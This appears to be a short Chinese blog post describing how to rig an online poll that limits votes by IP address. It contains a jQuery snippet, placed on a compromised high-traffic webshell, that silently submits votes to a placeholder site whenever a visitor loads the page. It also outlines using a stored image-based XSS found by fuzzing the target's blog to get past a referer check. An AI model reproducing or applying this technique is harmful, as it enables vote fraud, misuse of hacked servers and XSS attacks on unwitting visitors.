团队成员发来一个投票的地址,需要撸某某网站的一个某某投票,果断看了下,ip限制了,看到post 数据包

　　

　　 额 随便找个大流量shell post 数据
Js代码代码

1
2
3
4
5
6
<script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">
 $(document).ready(function(e) {
  var timestamp = (new Date()).valueOf();
  $.post("http://www.xxx.com/vote.json?t="+timestamp ,{itemId:10072});
});

观察下 firebug post 木有成功

估计判断来路了,得从本站提交才行,看来得找本站的xss配合,果断撸起,看到有博客有富文本，一番fuzz之后，找到个图片型xss

找个大流量的webshell Iframe这个页面,不过天色已晚,那就先发条邪恶的围脖